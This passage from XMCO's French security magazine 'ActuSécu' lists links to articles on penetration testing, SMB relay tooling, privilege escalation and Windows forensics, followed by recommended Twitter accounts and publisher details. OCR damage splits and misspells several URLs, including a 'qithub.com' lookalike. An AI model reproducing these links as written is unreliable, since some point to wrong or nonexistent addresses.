rage/logging/Windows%?20Logging%?20Cheat%20

Sheet%20v1.1.pdf

Erreurs les plus classiques réalisées par les
consultants durant des tests d’intrusion

https://rawhex.com/2014/12/the-common-mistakes-
every-newbie-pentester-makes/

Article sur les améliorations des logs suite a la
publication du correctif de Microsoft

http://windowsir.blogspot.fr/2015/02/tools.html

Présentation des méthodes d’intrusion Citrix

http://www.pentestpartners.com/blog/breaking-out-
of-citrix-and-other-restricted-desktop-environments/

Utilisation de Nessus pour I'audit de fichiers de
configuration offline

http://www.tenable.com/blog/auditing-more-
network-devices-offline-with-nessus

Comment détecter les attaques de brute-force
a partir des évéenements Windows ?

https://labs.portcullis.co.uk/blog/detecting-windows-
horizontal-password-guessing-attacks-in-near-real-

Utilité de I'option hashknownhosts dans SSH

http://linux-audit.com/audit-ssh-configurations-hash-
knownhosts-option/

Méthodologie des tests d’intrusion en environ-
nements PCl DSS

https://www.pcisecuritystandards.org/documents/Pe-

netration_Testing_Guidance_March_2015.pdf

Retour d’expérience suite a une mission foren-
sics

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

https://www.first.org/resources/papers/confe-
rence2014/a-forensic-analysis-of-apt-lateral-move-

ment-in-windows-environment.pptx
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> Sélection d’articles techniques

Outil pour aider a exploiter les failles SMB-RE-
LAY

http://www.josho.org/software/snarf-nolacon-pre-
sentation.pdf
https://qithub.com/purpleteam/snarf

Lecture sur les tests d’intrusion AIX

http://www.giac.org/paper/gpen/6684/aix-penetra-
tion-testers/125890

Vulnérabilité affectant les sessions faibles Dell
iDRAC

https://labs.mwrinfosecurity.com/blog/2015/01/08/
cve-2014-8272/

Elévation de privileges a I'aide de Lotus Notes
Diagnotics

http://reniknet.blogspot.fr/2015/01/la-cas-de-la-
backdoor-incluse-dans.html

Techniques pour trouver un administrateur a
travers le réseau

http://www.harmj0y.net/blog/penetesting/i-hunt-sy-
sadmins/

Déchiffrement du trafic TLS avec WireShark

https://jimshaver.net/2015/02/11/decrypting-tls-
browser-traffic-with-wireshark-the-easy-way/

Reconnaissance d’un réseau avec PowerShell

http://carnalOwnage.attackresearch.com/2015/03/
powershell-ad-recon-by-pyrotek3.html

Script pour réinitialiser le mot de passe KRBTGT

http://blogs.microsoft.com/cybertrust/2015/02/11/
krbtgt-account-password-reset-scripts-now-available-
for-customers/

Outil pour auditer les permission sous MSSQL

https://github.com/iSECPartners/sqlperms

Comment accéder a I’API windows via I'API
railgun (meterpreter) ?

https://osandamalith.wordpress.com/2015/02/19/ac-
cessing-the-windows-api-directly/




> Sélection des comptes Twitter s
par le CERT-XMCO...

Lenny Zeltser (@lennyzeltser) 1 7 https://twitt

Pierre (@pi3rre)

Mimeframe (@mimeframe)

Lionel Leperlier (@liontux)

Offensive Security (@offsectraining )

Guy Golo (@guy_golo)

SpiderLabs (@SpiderLabs)

Steeve Barbeau (@steevebarbeau)

Egor Homakov (@ homakov)

Mark Schloesser
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https://www.flickr.com/photos/aigle_dore/6365104687
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L'ActuSécu est un magazine numérique rédigé et édité par les consultants du cabinet
Xm CO° de conseil XMCO. Sa vocation est de fournir des présentations claires et détaillées sur le

theme de la sécurité informatique, et ce, en toute indépendance. Tous les numéros de
I'ActuSécu sont téléchargeables a I'adresse suivante :

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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75002 Paris - France
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fax.  +33(0)1 43 06 29 55
mail. info@xmco.fr
web www.xmco.fr
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